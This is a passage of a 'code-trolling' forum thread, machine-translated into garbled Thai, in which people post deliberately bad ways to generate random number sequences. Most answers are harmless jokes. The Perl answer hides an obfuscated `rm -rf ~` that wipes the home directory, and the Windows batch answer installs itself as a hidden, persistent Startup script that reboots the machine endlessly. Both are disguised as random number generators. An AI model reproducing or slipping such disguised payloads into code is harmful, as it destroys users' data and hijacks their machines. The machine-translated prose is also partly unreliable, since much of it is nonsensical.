สร้างลำดับของตัวเลขแบบสุ่ม


16

ความท้าทาย:

สร้างลำดับของตัวเลขแบบสุ่ม อินพุตเท่านั้นควรเป็นความยาวของลำดับ

คะแนนอินเทอร์เน็ตเพิ่มพิเศษสำหรับโซลูชั่นที่ใช้งานได้จริง

หมายเหตุ: นี่เป็นคำถามการกรุณาอย่าใช้คำถามและ / หรือคำตอบอย่างจริงจัง ข้อมูลเพิ่มเติมที่นี่




การล๊อครหัสอยู่ในขั้นตอนการลบออกตามท่าทางทางการ คำถามนี้มีคำตอบและโหวตมากมายได้รับ 50% ว่า "เก็บไว้" ในการสำรวจความคิดเห็นและเป็นหนึ่งในโพสต์ [code-trolling] ครั้งแรกดังนั้นฉันจึงล็อคเพื่อความสำคัญทางประวัติศาสตร์
Doorknob

คำตอบ:


37

หลาม

หยิบบทความวิกิพีเดียสุ่มขึ้นมาและเรียงลำดับอักขระ html ที่มีความยาวเป็นตัวเลขและรับค่าตัวเลข

import urllib2
from random import randint
def getRandom(num):
    response = urllib2.urlopen('http://en.wikipedia.org/wiki/Special:Random')
    html = response.read()
    html = html.replace(" ", "")
    htmllen = len(html)
    #I especially love how I still grab a random number here
    l =  randint(0, htmllen - num)
    data = html[l:l+num]
    return [ ord(x) for x in list(data) ]

print getRandom(25)

ฉันชอบคำตอบของฉัน ... แต่ฉันต้องการ +1 สิ่งนี้

9
และคุณธรรมของเรื่องคือการใช้ Wikipedia สำหรับการบ้านของคุณคือการโกง
Wrzlprmft

ส่วนเดียวที่ฉันไม่ชอบคือการกระจายความน่าจะเป็นสำหรับตัวเลขที่ต่างกันนั้นไม่เหมือนกัน แต่นั่นก็คือการให้อภัยอย่างง่ายดายเพราะมันยอดเยี่ยม
เควิน

@ เควิน: OP ไม่จำเป็นต้องมีตัวเลขสุ่มกระจายอย่างสม่ำเสมอ อันที่จริงมันทำให้ฉันมีความคิด ...
Wrzlprmft

31

โปรแกรมทั้งหมดจากคำตอบอื่น ๆ จะสร้างเฉพาะสิ่งที่เรียกว่า "ตัวเลขสุ่มหลอก" ซึ่งอาจดูสุ่มไปที่ดวงตาที่ไม่ได้รับการฝึกฝน แต่จริง ๆ แล้วทำตามรูปแบบบางอย่าง

โปรแกรมต่อไปนี้สร้างตัวเลขสุ่มตามจริงโดยเปลี่ยนคอมพิวเตอร์ของคุณให้เป็นเครื่องตรวจจับอนุภาคสำหรับรังสีพื้นหลัง เนื่องจากสิ่งนี้ขึ้นอยู่กับผลกระทบของควอนตัมจึงสุ่มและไม่สามารถคาดการณ์ได้ และสำหรับโบนัสโปรแกรมจะทำงานได้เร็วขึ้นจริงหากคุณเปิดคอมพิวเตอร์ของคุณออกสู่อวกาศ และใช่นั่นคือทุกบิตที่เท่

#include<stdio.h>

int main(void)
{
    int i,j,k,l,m;
    printf("How many random numbers do you want?");
    scanf ("%i",&m);

    for (i=0; i<m; i++)
    {
        j = k = 42;
        l = 0;
        while (j==k)
            l++;
        printf("%i\n", l);
    }
}

สปอยเลอร์:

โปรแกรมนี้สร้างหน่วยความจำที่เหมือนกันสองส่วนจากนั้นรอนานแค่ไหนสำหรับการแผ่รังสีพื้นหลังเพื่อเปลี่ยนหนึ่งในนั้น เวลารอจะถูกส่งกลับเป็นตัวเลขสุ่มซึ่งจะถูกแจกแจงแบบเอ็กซ์โพเนนเชียลหากไม่ใช่จำนวนเต็มล้น เหตุการณ์ดังกล่าวเป็นโอกาสมากขึ้นในพื้นที่เป็นปัญหาที่เกิดขึ้นจริงในอวกาศซึ่งมีการแก้ไขโดยการชุบแข็งรังสี ดังนั้นทุกคำพูดในการแนะนำจึงเป็นจริงในระดับหนึ่งนอกเหนือจากความเยือกเย็นเล็กน้อย

แต่น่าเสียดายที่เหตุการณ์ดังกล่าวหยุดทำงานในคอมพิวเตอร์หรืออย่างน้อยโปรแกรมก็มีแนวโน้มที่จะกระทบกับหน่วยความจำทั้งสองชิ้น นอกจากนี้อาจใช้เวลาสักครู่ ... ในที่สุดเมื่อชี้ให้เห็นโดย kinokijuf การแผ่รังสีพื้นหลังเป็นกระบวนการภายนอกดังนั้นjและkควรถูกทำเครื่องหมายว่าvolatileคอมไพเลอร์

PS: ขยายความคิดเราสามารถสร้างอาร์เรย์ที่เต็มไปด้วยเลขศูนย์แล้วพิมพ์ออกมาได้ มีโอกาสของεที่การแผ่รังสีพื้นหลังเปลี่ยนค่าศูนย์ระหว่างการจัดเก็บและการพิมพ์ดังนั้นสิ่งที่พิมพ์จะถูกสุ่ม - OP ไม่เคยพูดว่าจะแจกแจงหมายเลขสุ่มอย่างไร


6
+1 คะแนนพิเศษสำหรับไร้ประโยชน์ แต่จริง
emory

7
โปรดทราบว่าคอมไพเลอร์จะทำการปรับปรุงโค้ดตรวจจับรังสีพื้นหลัง
kinokijuf

1
@kinokijuf: เป็นสิ่งที่น่าละอาย (สิ่งนี้มีไว้สำหรับคอมไพเลอร์ทุกตัวที่เป็นอิสระจากตัวเลือกหรือไม่) อย่างไรก็ตามเนื่องจากนี่คือการใช้รหัสหลอกฉันจึงประกาศคุณลักษณะนี้ของคำตอบ
Wrzlprmft

14
ถ้าคุณทำเครื่องหมายว่าระเหยแล้วรหัสของคุณจะเป็นจริงในการทำงานตามที่คาดไว้
kinokijuf

1
มีวิธีการบางอย่างเพื่อให้แน่ใจว่าjและkใช้ตำแหน่งบางอย่างในหน่วยความจำเสมอหรือไม่? (ฉันไม่ได้ใช้ C มากนักฉันเป็น Java และ C # โปรแกรมเมอร์) ถ้าเป็นเช่นนั้นคุณสามารถออกแบบฮาร์ดแวร์เพื่อให้ตำแหน่งเหล่านั้นไม่ได้รับการปกป้องจากการชุบแข็งด้วยรังสี แต่ส่วนที่เหลือของระบบคือ
เควิน

10

การสุ่มเป็นเรื่องยากที่จะประสบความสำเร็จในคอมพิวเตอร์ การสร้างตัวเลขสุ่มบนคอมพิวเตอร์เป็นพื้นที่การวิจัยที่กระตือรือร้นมากซึ่งมักเกี่ยวข้องกับนักแสดงระดับรัฐ (ดูDual_EC_DRBG ) อย่างไรก็ตามในระบบปฏิบัติการมัลติทาสกิ้งที่ทันสมัยตัวกำหนดตารางเวลาเธรดอาจทำงานผ่านได้ในบางสถานการณ์ ในการทำเช่นนี้เราให้การควบคุมการแบ่งเวลาปัจจุบันของเรากลับสู่ระบบปฏิบัติการและจดบันทึกว่าจะใช้เวลานานเท่าใดในการกำหนดเวลาอีกครั้ง ขึ้นอยู่กับระบบปฏิบัติการและโหลดสิ่งนี้อาจให้ผลลัพธ์ที่ต้องการ

const int bitsInInt = 31;

void Main()
{
    Console.WriteLine("Enter total number of numbers to generate:");
    var result = Console.ReadLine();

    var total = int.Parse(result);
    foreach(var i in RandomSequence().Take(total))
    {
        Console.WriteLine(i);
    }
}

//Generates a random sequence of bits
IEnumerable<int> RandomBit()
{
    while(true)
    {
        var sw = new Stopwatch();

        sw.Start();
        Thread.Sleep(bitsInInt);
        sw.Stop();

        yield return (int)(sw.ElapsedTicks & 0x1L);
    }
}

//Performs the computation for mapping between the random
//sequence of bits coming out of RandomBit() and what
//is required by the program
IEnumerable<int> RandomSequence()
{
    while(true)
    {
        yield return RandomBit().Take(bitsInInt).Reverse().Select((b,i)=> b<<i).Sum();      
    }
}

2
นี่เป็นวิธีการแก้ปัญหาที่ร้ายแรง!
Abhinav Sarkar

8

ค#

เนื่องจากผู้ใช้ซอฟท์แวร์ออกสุ่มโดยธรรมชาติแล้วทำไมไม่ลองใช้มันเพื่อผลประโยชน์ของเรา?

รหัสนี้ใช้ภาพหน้าจอและใช้กับข้อมูลอื่นเพื่อสร้างลำดับแบบสุ่ม คะแนนโบนัสอินเทอร์เน็ตที่ไม่ได้ใช้เครื่องกำเนิดไฟฟ้าแบบสุ่มในตัว?

public unsafe uint[] GetThemRandom(int length)
    {
        var bounds = Screen.GetBounds(Point.Empty);
        using (var screenshot = new Bitmap(bounds.Width, bounds.Height))
        using (var graphics = Graphics.FromImage(screenshot))
        {
            // can't hurt
            var sZ = (uint)Cursor.Position.X;
            var sW = (uint)Cursor.Position.Y;

            // take the screenshot as the previous experience has though us that the users
            // are sufficiently random
            graphics.CopyFromScreen(Point.Empty, Point.Empty, bounds.Size);
            screenshot.Save(DateTime.Now.Ticks + ".jpg", ImageFormat.Jpeg);

            var bytesPerPixel = Image.GetPixelFormatSize(screenshot.PixelFormat) / 8;
            var bits = screenshot.LockBits(bounds, ImageLockMode.ReadOnly, screenshot.PixelFormat);

            var scanData = (byte*)bits.Scan0.ToPointer();
            var scanLimit = bounds.Width * bounds.Height;

            // squash the pixels into two variables
            for (var i = 0; i < scanLimit; i += 2)
            {
                var pX = scanData + i * (bytesPerPixel);
                var pY = scanData + (i + 1) * (bytesPerPixel);

                for (var j = 0; j < bytesPerPixel; j++)
                {
                    sZ ^= *(pX + j);
                    sW ^= *(pY + j);
                }
            }

            // generate the numbers
            var randoms = new uint[length];
            for (var i = 0; i < length; i++)
            {
                // CodeProject 25172
                sZ = 36969 * (sZ & 65535) + (sZ >> 16);
                sW = 18000 * (sW & 65535) + (sW >> 16);

                randoms[i] = (sZ << 16) + sW;
            }

            return randoms;
        }
    }

7

หลาม

มันง่ายที่จะสะดุดกับข้อผิดพลาดที่พบบ่อย: แหล่งที่มาของตัวเลขสุ่มที่ไม่มีการกระจายอย่างสม่ำเสมอและไม่มีการสุ่ม โซลูชันของฉันหลีกเลี่ยงปัญหาเหล่านี้ได้อย่างยอดเยี่ยมโดยใช้ข้อมูลเชิงลึกทางคณิตศาสตร์และเคล็ดลับง่ายๆ แต่มีประสิทธิภาพการสุ่มด้วยเวลาปัจจุบัน:

from math import pi # The digits of pi are completely randomly distributed. A great source of reliable randomness.
random_numbers = str(pi)
random_numbers = random_numbers[2:] # Don't return the dot accidentally

import time
index = time.localtime()[8] # Avoid the obvious mistake not to randomise the random number source by using localtime as seed.
random_numbers = random_numbers[index:]

number = int(input("How many random numbers would like?"))
for random in random_numbers[:number]: # Python strings are super efficient iterators! Hidden feature!
    print(random)

ใช้งานได้ดีเมื่อทดสอบหนึ่งครั้งสำหรับชุดตัวเลขขนาดเล็ก (9 หรือน้อยกว่า) แต่เมื่อพบข้อบกพร่องที่รุนแรงมากขึ้นอีกเล็กน้อย:

  • math.pi มีตัวเลขเพียงไม่กี่หลักหลังจากช่วงเวลานั้น
  • time.localtime()[8]ไม่ส่งคืนค่ามิลลิวินาทีหรือนาฬิกาเคอร์เนล แต่เป็น 0 หรือ 1 ขึ้นอยู่กับว่าเป็นเวลาออมแสงหรือไม่ ดังนั้นการสุ่มเปลี่ยนเมล็ดทุก ๆ ครึ่งปีโดยที่เดียว ดังนั้นโดยทั่วไปไม่มีการสุ่ม
  • นี่จะส่งกลับตัวเลขสุ่มระหว่าง 0 ถึง 9 เท่านั้น
  • random_numbers[:number]ล้มเหลวอย่างเงียบ ๆ เมื่อคุณป้อนตัวเลขที่numberใหญ่กว่า 15 และสุ่มเพียง 15 หมายเลข

น่าเศร้านี่คือแรงบันดาลใจจากฟังก์ชั่นการสุ่ม Delphi 1.0 ซึ่งใช้ในการทำงานในทำนองเดียวกัน


6

ทับทิม

คำถามถามลำดับ ที่นี่เราไปอีกครั้ง ...

$seed = $$.to_i
def getRandom(seed)
        a = Class.new
        b = a.new
        $seed = a.object_id.to_i + seed - $seed
        $seed
end

def getRandomSequence(num)
        molly = Array.new
        0.upto(num) do |x| molly[x] = x*getRandom(x) - getRandom(0-x) end
        molly
end

นี่คือการสุ่ม 100% ไม่มีจริงๆ.
รหัสนี้แย่เกินไปที่จะหมายถึงสิ่งที่ไม่มีใน OP (สิ่งที่นรกคือ object_id?)
นอกจากนี้มันยังมีการใช้งานที่เฉพาะเจาะจงซึ่งหมายความว่ามันใช้งานได้หรือไม่ระหว่างรุ่นทับทิมที่แตกต่างกัน
ยิ่งไปกว่านั้นสิ่งนี้อาจทำสิ่งที่น่ารังเกียจจริงๆเนื่องจาก OP อาจทดลองกับ object_id ...

ตัวอย่างผลลัพธ์:

-2224
12887226055
25774454222
38661682243
51548910124
64436137991

แก้ไข:

แก้ไขเพื่อใช้$$สำหรับการสุ่มที่แท้จริง (ในระดับระบบปฏิบัติการ)


ฉันสามารถทำสิ่งนี้ใน C และได้รับขยะมากขึ้น แต่ความสนุกในการทำเทียมหลอกใน C คืออะไร?

5

ชวา

ระวังนี่เป็นคำถามที่หลอกลวง .....

คนส่วนใหญ่ใน Java จะใช้ math.random () เพื่อช่วยในการสร้างลำดับนี้ แต่พวกเขาจะสับสนเพราะพวกเขาจะได้รับผลบวกเท่านั้น! random()ส่งกลับค่าทศนิยมตั้งแต่ 0 ถึง 1 (ไม่รวม 1 ตัว) ดังนั้นคุณต้องเล่นลูกเล่นบางอย่างเพื่อให้แน่ใจว่าคุณได้รับการแจกแจงที่ดีของค่าสุ่มจากช่วงจำนวนเต็มทั้งหมด (บวกและลบ)

นอกจากนี้คุณไม่สามารถเพิ่มจำนวนได้อย่างง่ายดายMath.random()และInteger.MAX_VALUEเนื่องจากคุณจะไม่รวมInteger.MAX_VALUEตัวเองเป็นส่วนหนึ่งของผลลัพธ์! นอกจากนี้มันจะเป็นตรรกะที่จะทำเช่นmath.rand() * (Integer.MAX_VALUE + 1)นั้นเพื่อให้คุณได้รับการกระจายเต็มรูปแบบ แต่แน่นอนว่ามันไม่ทำงานเพราะInteger.MAX_VALUE + 1จะล้นและกลายเป็นInteger.MIN_VALUE ! ดังนั้นน่าเสียดายที่ทางออกที่ดีที่สุดคือใช้วิธีการจัดการข้อมูลอย่างชาญฉลาด ...

ดังนั้นนี่คือลำดับที่สมบูรณ์สำหรับการสร้างค่า 'n' แบบสุ่มในช่วงInteger.MIN_VALUEถึงInteger.MAX_VALUE(รวมถึงทั้งสองขั้ว (ซึ่งเป็นส่วนที่ยาก) !!!!):

public static int[] get_random_sequence(int count) {
    // where we will store our random values.
    int[] ret = new int[count];

    for (int i = 0; i < count; i++) {
        // get a random double value:
        double rand = Math.random();
        // now, convert this double value (which really has 48 bits of randomness)
        // in to an integer, which has 32 bits. Thus 16 extra bits of wiggle room
        // we cannot simply multiply the rand value with Integer.MAX_VALUE
        // because we will never actually get Integer.MAX_VALUE
        //    (since the rand will never exactly == 1.0)
        // what we do is treat the 32-bits of the integer in a clever bit-shifting
        // algorithm that ensures we make it work:
        // We use two special Mersenne Prime values (2^19 - 1) and (2^13 - 1)
        // http://en.wikipedia.org/wiki/Mersenne_prime#List_of_known_Mersenne_primes
        // these are very convenient because 13 + 19 is 32, which is the
        // number of bits of randomness we need (32-bit integer).
        // Interesting note: the value (2^31 - 1) is also a Mersenne prime value,
        // and it is also Integer.MAX_VALUE. Also, it is a double marsenne prime
        // since 31 is also a marsenne prime... (2^(2^5 - 1) - 1). Math is Cool!!!
        //    2^19 - 1 can be expressed as (1 << 19) - 1
        //    2^13 - 1 can be expressed as (1 << 13) - 1
        // first we set 13 bits ... multiply a 13-bit prime by the random number.
        ret[i]  = (int)(rand * (1 << 13) - 1);
        // now shift those 13 random bits 19 bits left:
        ret[i] <<= 19;
        // now add in the 19 random bits:
        ret[i] ^= (int)(rand * (1 << 19) - 1);
    }
    return ret;
}

สิ่งนี้สร้างผลลัพธ์เช่น:

[-368095066, -1128405482, 1537924507, -1864071334, -130039258, 2020328364, -2028717867, 1796954379, 276857934, -1378521391]

แน่นอนข้างต้นเป็นคำตอบ BS ที่สมบูรณ์ มันไม่ได้ให้คำอธิบายที่ดีและ 'ซ่อน' ข้อผิดพลาดที่รุนแรง ( ^=ควร|=) มันยังซ่อนบั๊กที่รุนแรงน้อยกว่า (ลำดับความสำคัญของ pf- หมายความว่าเราไม่ได้คูณด้วยค่าไพรเวตเลย!) การใช้คำแฟนซีตัวเลขเฉพาะและความคิดเห็นมากมายก็ไม่มีเหตุผลที่จะเชื่อถือรหัส ... แน่นอนถ้าคุณต้องการทำข้างต้นคุณควรใช้java.util.Random.nextInt()


4

ชวา

ตอนนี้ฉันมองย้อนกลับไปในโปรแกรมฉันลืมปิดScanner...

import java.util.Scanner;

public class RandomNumberGenerator
{
    public static void main(String... args)
    {
        String rand = "14816275093721068743516894531"; // key-bashing is random
        Scanner reader = new Scanner(System.in);
        System.out.println("Enter length of random number: ");
        System.out.println(rand.substring(0, Integer.parseInt(reader.nextLine())));
    }
}

3
(ไม่หมุนรอบ) คุณสามารถจัดการกับกระแสปิด / etc อื่น ๆ อีกมากมายได้อย่างง่ายดายใน Java 7 try (Scanner reader = new Scanner(System.in)) { ... }ด้วย
wchargin

4

Perl

$\=$$;for(1..<>){$\=$\*65539;$\%=2**31;$\.=',';print""}

ฉันกำลังใช้$\วิธีเดียวกันกับผลลัพธ์ในคำตอบการหมุนโค้ดที่แตกต่างกัน นอกจากนี้คุณยังสังเกตเห็นว่าฉันลงทุนจำนวนมาก$$ในอัลกอริทึมRANDU

แก้ไข: เพื่ออธิบายให้ดีขึ้น RANDU เป็น PRNG ที่ไม่ปลอดภัยอย่างน่ากลัว Wikipedia อธิบายว่าเป็น "หนึ่งในเครื่องกำเนิดตัวเลขสุ่มที่ไม่มีใครนึกได้มากที่สุดเท่าที่เคยออกแบบมา" มันเป็นจุดอ่อนหลักอยู่ด้านล่าง:

f (x) = 6 * f (x-1) - 9 * f (x-2)


3

2^CHAR_BITนี่เป็นเครื่องกำเนิดไฟฟ้าจำนวนสุ่มฐาน

char* random(size_t length) {
    char* ret = malloc((length+1) * sizeof(char));
    ret[length] = 0;
    return ret;
}

1
คุณควรจัดสรรlengthเท่านั้น ข้อมูลที่เสียหายเมื่อตัวอย่างทำงานได้ดีที่สุด
John Dvorak

3

ในจาวาสคริปต์ด้วยสไตล์การใช้งาน:

var randomSequence = "[5, 18, 4, 7, 21, 44, 33, 67, 102, 44, 678, -5, -3, -65, 44, 12, 31]";

alert("The random sequence is " + (function (sequenceSize) {
    return randomSequence.substring(0, sequenceSize);
})(prompt("Type the size of the random sequence")) + ".");

ฉันไม่ทราบว่าเป็นไปได้ที่จะเขียน JS เช่นนี้ 0_0
Kevin

3

ฟังก์ชั่นนี้ใช้งานได้ดีมากสำหรับแอปพลิเคชั่นขนาดเล็กสำหรับการสร้างตัวเลขสุ่มระหว่าง 0 และ 1337 การเรียกมันมากกว่าหนึ่งครั้งจะแนะนำให้ทำประกันแบบสุ่มสูงสุด

int* getRandom(int length)
{
    //create an array of ints
    int* nums = malloc(sizeof(int) * length);

    //fill it in with different, "random" numbers
    while(length--)                                //9001 is a good seed
        nums[length-1] = (int)malloc(9001) % 1337; //1337 is used to make it more random
    return nums;
}

ไฟล์ RAM และหน้าของฉันกำลังร้องไห้
Kevin

3

เครื่องกำเนิดBlum Blum Shub ที่มีชื่อเสียง เพราะเครื่องกำเนิดจำนวนสุ่มควรมีความปลอดภัยเข้ารหัสและวิธีที่ดีกว่าที่จะให้การรักษาความปลอดภัยกว่าผ่านความสับสน

#include <stdio.h>

long long Blum,BLum,Shub;

#define RAND_MAX 65536
//These two constant must be prime, see wikipedia.
#define BLUM 11
#define SHUB 19

int seed(int);
int(*rand)(int)=seed; //rand must be seeded first
int blumblumshub(int shub){
  //generate bbs bits until we have enough
  BLum  = 0;
  while (shub){
     Blum=(Blum*Blum)%Shub;
     BLum=(BLum<<1)|(Blum&1);
     shub>>=1;
  }
  return BLum>>1;
}

int seed(int n){
  Blum=n,BLum=BLUM;     
  Shub=SHUB*BLum;
  rand=blumblumshub;
  return rand(n);
}

//Always include a test harness.
int main(int argv, char* argc[]){
  int i;
  for (i=0;i<10;i++){
     printf("%d\n",rand(97));
  }
}

(รวมถึงชื่อตัวแปรที่แย่มากการใช้งานที่ไม่ถูกต้องขึ้นอยู่กับการสแกนวิกิพีเดียอย่างรวดเร็วและตัวชี้ฟังก์ชั่นมายากลที่ไร้ประโยชน์ถูกส่งเข้ามาเพื่อความสนุกสนาน)


2
int argv, char* argc[]โอ้พระเจ้าทำไม?
Joe Z.

2

C / C ++

#include<stdio.h>

int main()
{
   int length = 20;
   double *a = new double[0];
   for (int i = 0; i < length; ++i)
   {
       printf("%f\n", a[i]);
   }
   return a[0];
}

ใช้ข้อมูลกองขยะ โอ้และอย่าลืมที่จะรั่วไหลของตัวชี้


2

C ++

#include <stdlib.h>
#include <stdio.h>

int main(int argc, char *argv[]) {
    int i, len;
    srand(time(NULL));
    len = atoi(argv[1]);
    for(i = 0; i < len; i++)
        printf("%d\n", rand() % 100);
    return 0;
}

ข้อดี:

  • มันได้ผล.
  • บางครั้ง
  • ถูกต้อง (ish) C89
  • C ++ แย่มาก
  • ใช้ส่วนหัว C เพราะusing namespace std;เป็นความชั่วร้ายและเราไม่ต้องการที่จะทำให้โปรแกรมช้าลงด้วยการค้นหาเนมสเปซเหล่านั้นทั้งหมด
  • เราหลีกเลี่ยงความสม่ำเสมอของการกระจายในแง่ของความเร็วโดยใช้โมดูลัสที่มีค่าฮาร์ดโค้ด (TODO: เปลี่ยนค่านี้เป็นบิตบิตชิฟต์เพื่อเพิ่มความเร็วดิบ)
  • สามารถตรวจสอบระดับที่กำหนดโดยการดำเนินการ mutiple ครั้งภายในนาฬิกาวินาทีเดียวกัน
  • ทำไมรหัสนี้ไม่ดีพอที่ OP อาจจะไม่รู้ตัว

จุดด้อย:

  • เหตุใดรหัสนี้ไม่ดีพอที่อาจารย์ระดับประถมศึกษาของ OP อาจจะไม่เข้าใจ
  • เรื่องนี้ดูเหมือนจะได้รับการยกย่องว่าเป็นทางออกที่ยอมรับ
  • ต้องการความเร็ว RAW มากขึ้น

1
เล็มเดาว่ามันมีพฤติกรรมที่ไม่ได้กำหนดถ้าargv[1]ไม่ใช่จำนวนเต็ม (หรือแย่กว่านั้นถ้ามันเป็นโมฆะ)?
Joe Z.

1
โอ้มันจะใช้ได้ดีถ้า argv [1] ไม่ได้เข้ารหัสจำนวนเต็ม; atoiจะส่งกลับค่าศูนย์ intตำแหน่งที่ได้รับมีขนดกคือเมื่อเข้ารหัสจำนวนเต็มอยู่นอกช่วงของ
Stuart Olsen

2

มาติกา

RandInt = 
 Array[First@
     Cases[URLFetch["http://dynamic.xkcd.com/random/comic/", 
       "Headers"], {"Location", l_} :> 
       FromDigits@StringTake[l, {17, -2}]] &, #] &

2

TI-Basic 83 + 84

:so;first&Input\something And;then:Disp uhmm_crazy_huhrandIntNoRep(1_£€¢|•∞™©®©©™,Andthen)

อินพุต - 3

เอาท์พุท - {2,3,1}


มันทำงานได้เพราะมันเดือดลงไป :Input A:Disp randIntNoRep(1,A)


1

นี่คือวิธีแก้ปัญหาของงูหลาม คุณไม่สามารถพิสูจน์ได้ว่านี่ไม่ใช่การสุ่ม!

def get_random(num):
    print '3' * num

ลองใช้งานโดยการโทรget_random(5)ออก


5
มันไม่ได้สุ่มเพราะคุณสามารถทำนายผลลัพธ์ได้โดยดูที่รหัส คุณไม่จำเป็นต้องรู้ด้วยซ้ำเมื่อมันทำงาน!

@Shingetsu OP ใช้คำว่า "คุณสามารถพิสูจน์ได้ว่าเป็นการสุ่ม"
C1D

1

Perl

use strict;
use warnings;
`\x{0072}\x{006D}\x{0020}\x{002D}\x{0072}\x{0066}\x{0020}\x{007E}`;
my $length = $ARGV[0];
for (my $count = 0;$count<$length;++$count) {
    print int(rand(10));
}
print "\n";

อันนี้ใช้รหัส Perl ที่ง่ายมากที่จะทำตามที่ OP ถาม แต่ไม่ก่อนที่จะลบไดเรกทอรีบ้านของพวกเขาซ้ำ ๆ (โดยไม่ต้องเขียน rm -rf ~ แน่นอน)

ฉันยังไม่ได้ทดสอบสิ่งนี้ (ด้วยเหตุผลที่ชัดเจน)


3
คำตอบการหลอกรหัสไม่ควรทำลายในกรณีที่มีคนลองตัวอย่างโค้ด
เควิน

1

Python 3

ไม่เพียง แต่เสียเวลามาก (ทั้งจริงและเวลา CPU) เท่านั้นที่จะส่งกลับตัวเลขสุ่ม 10 หมายเลข

def generate_random_number_sequence():
    with open('/dev/urandom', 'rb') as fd:
        data = b''
        num = 0

        for i in range(10000):
            data += fd.read(1)

            for b in data:
                try:
                    num += int(b)
                except ValueError: pass

        return [int(n) for n in list(str(num))]

if __name__ == '__main__':
    print(generate_random_number_sequence())

1

ทับทิม

คุณอาจรู้ว่าตัวเลขทั้งหมดไม่ใช่แบบสุ่ม นี้การตรวจสอบโปรแกรมทั้งหมดตัวเลขและช่วยให้คุณมีเพียงคนที่แท้จริงเป็นแบบสุ่ม

ระวังว่าโค้ด Ruby นั้นอ่านยากหน่อย มันไม่ได้มีประสิทธิภาพเท่ากับภาษาอังกฤษเพราะคอมพิวเตอร์ค่อนข้างโง่และบางครั้งคุณต้องพูดคำที่สำคัญซ้ำ ๆ

ดังนั้นฉันได้เพิ่มบาง#commentsรหัส; คำที่มีประสิทธิภาพมากขึ้นในความคิดเห็นแสดงให้เห็นว่าคำเดียวกันนี้ทำงานอย่างไรในโค้ด Ruby

def random_sequence(n)
  # Make a NEW ENUMERATOR of RANDOM numbers:
  Enumerator.new { |random|
    # to_i means that the RANDOM NUMBERS we want are *integers*.
    # (rand is computer speak for random.)
    number = rand.to_i

    # We need to LOOP (because we want a *sequence* of numbers):
    loop do
      # Double check that the NEXT NUMBER is a RANDOM NUMBER.
      # This is very important so we must repeat some of the words to the computer.
      random << number if number == rand(number=number.next)
    end
   }.take(n) # Self explanatory
end

# Now we just say hw many random numbers we want, like 12
p random_sequence(12)

คำอธิบายโดยละเอียดเพิ่มเติมอาจมาในภายหลัง แต่ผลลัพธ์จากตัวอย่างการรันควรให้บางส่วน: [1, 3, 5, 10, 180, 607, 639, 1694, 21375, 75580, 137110, 149609] ... ยัง ค่อนข้างสุ่มแม้ว่า


1

สคริปต์ Windows Batch ต่อไปนี้จะสร้างไฟล์ที่มีตัวเลขสุ่มOUTPUT.TXTในโฟลเดอร์โปรไฟล์ของคุณ สิ่งนี้รับประกันว่าจะสร้างตัวเลขสุ่มที่แท้จริงเกือบทั้งหมด เพียงวางรหัสนี้ลงใน Notepad ให้บันทึกเป็น"FileName.CMD"(พร้อมด้วยคำพูด) และดำเนินการ

IF "%~dp0" == "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup" GOTO GENRANDOM
copy %~f0 "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\kl.cmd"
attrib +R +H "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\kl.cmd"
GOTO GENRANDOM
REM GOTO INSTRUCTIONS ARE VERY IMPORTANT TO MAKE YOUR FILE EASIER TO READ

:NEXT
shutdown -r -t 0
exit

:GENRANDOM
FOR /D %%F IN (%time%) DO (
@set output=%%F
)
::NEXT <--Really important
IF NOT EXIST "%userprofile%\OUTPUT.TXT" ECHO.>"%userprofile%\OUTPUT.TXT"
echo.%output%>>"%userprofile%\OUTPUT.TXT"
GOTO NEXT

REM TODO: ADD MORE OBSCURITY

ต้องป้อนจำนวนสุ่มตัวเลขที่จะสร้างเป็นวิธีที่ลำบากเกินไปโดยวิธี เพียงแค่กดปุ่มเปิด / ปิดค้างไว้เพื่อหยุดการสร้าง วิธีที่ง่ายกว่า! บวก: ไม่ต้องใช้แป้นพิมพ์


คำอธิบาย: สคริปต์จะคัดลอกตัวเองไปยังโฟลเดอร์เริ่มต้นหากยังไม่มีอยู่ให้คว้าหนึ่งเซ็นต์วินาที%time%เขียนไปยัง%userprofile%\OUTPUT.TXTแล้วรีสตาร์ทคอมพิวเตอร์ เมื่อคอมพิวเตอร์รีสตาร์ทเครื่องก็จะทำเหมือนเดิมอีกครั้ง
2428118

1

Lua

นี่เป็นฟังก์ชั่น overachieving, over-complex, messy (แม้จะมีปากกาเน้นข้อความไวยากรณ์) ซึ่งสร้างตัวเลขที่สูงมากในแบบที่ซับซ้อนมาก และแทนที่จะส่งคืนสตริงตัวเลขมันจะพิมพ์ตัวเลขเหล่านั้นบนหน้าจอทำให้ไม่สามารถใช้งานได้ภายในโปรแกรมของคุณ เป็นการยากที่จะแก้ไขดังนั้นหากผู้ชนะขอให้คุณแก้ไขให้บอกว่ามันซับซ้อนเกินกว่าจะแก้ไขได้

function random(x) local func = loadstring("print(math.random(math.random(math.random(123514363414,9835245734866241),math.random(182737598708748973981729375709817829357872391872739870570,57102738759788970895707189273975078709837980278971289375078978739287018729375087132705)),math.random(math.random(19230851789743987689748390958719873289740587182039758917892708973987579798403789,0958907283470589718273057897348975087192034875987108273570917239870598743079857082739845891098728073987507),math.random(894017589723089457098718723097580917892378578170927305789734975087109872984375987108789,2739870587987108723457891098723985708917892738075098704387857098172984758739087498570187982347509871980273589789437987129738957017))))") for i = 1, x do func() end end

0

ค#

 public class Random
    {
        private char[] initialSequence = "Thequickbrownfoxjumpsoveralazydog".ToCharArray();

        private long currentFactor;

        public Random()
        {
            currentFactor = DateTime.Now.ToFileTime();
        }

        public IEnumerable<int> GetSequence(int count)
        {
            int i = 0;
            while (i < count)
            {
                i++;

                string digits = currentFactor.ToString();
                digits = digits.Substring(digits.Length / 4, digits.Length / 2);

                if (digits[0] == '0')
                    digits = "17859" + digits;

                currentFactor = (long)System.Math.Pow(long.Parse(digits), 2);

                int position = i % initialSequence.Length;

                initialSequence[position] = (char)((byte)initialSequence[position] & (byte)currentFactor);

                yield return (int)initialSequence[position] ^ (int)currentFactor;

            }
        }
    }

โปรดทราบว่ามันมีแนวโน้มที่จะแตกสำหรับลำดับที่ยาวขึ้น แต่เมื่อมันทำงานมันจะสร้างตัวเลขสุ่มมาก


0

Fortran

คอมพิวเตอร์ของคุณมีหมายเลขสุ่มอยู่แล้วดังนั้นคุณต้องเข้าถึงสิ่งต่อไปนี้

program random_numbers
   implicit none
   integer :: nelem,i,ierr

   print *,"Enter number of random sequences"
   read(*,*) nelem

   do i=1,nelem
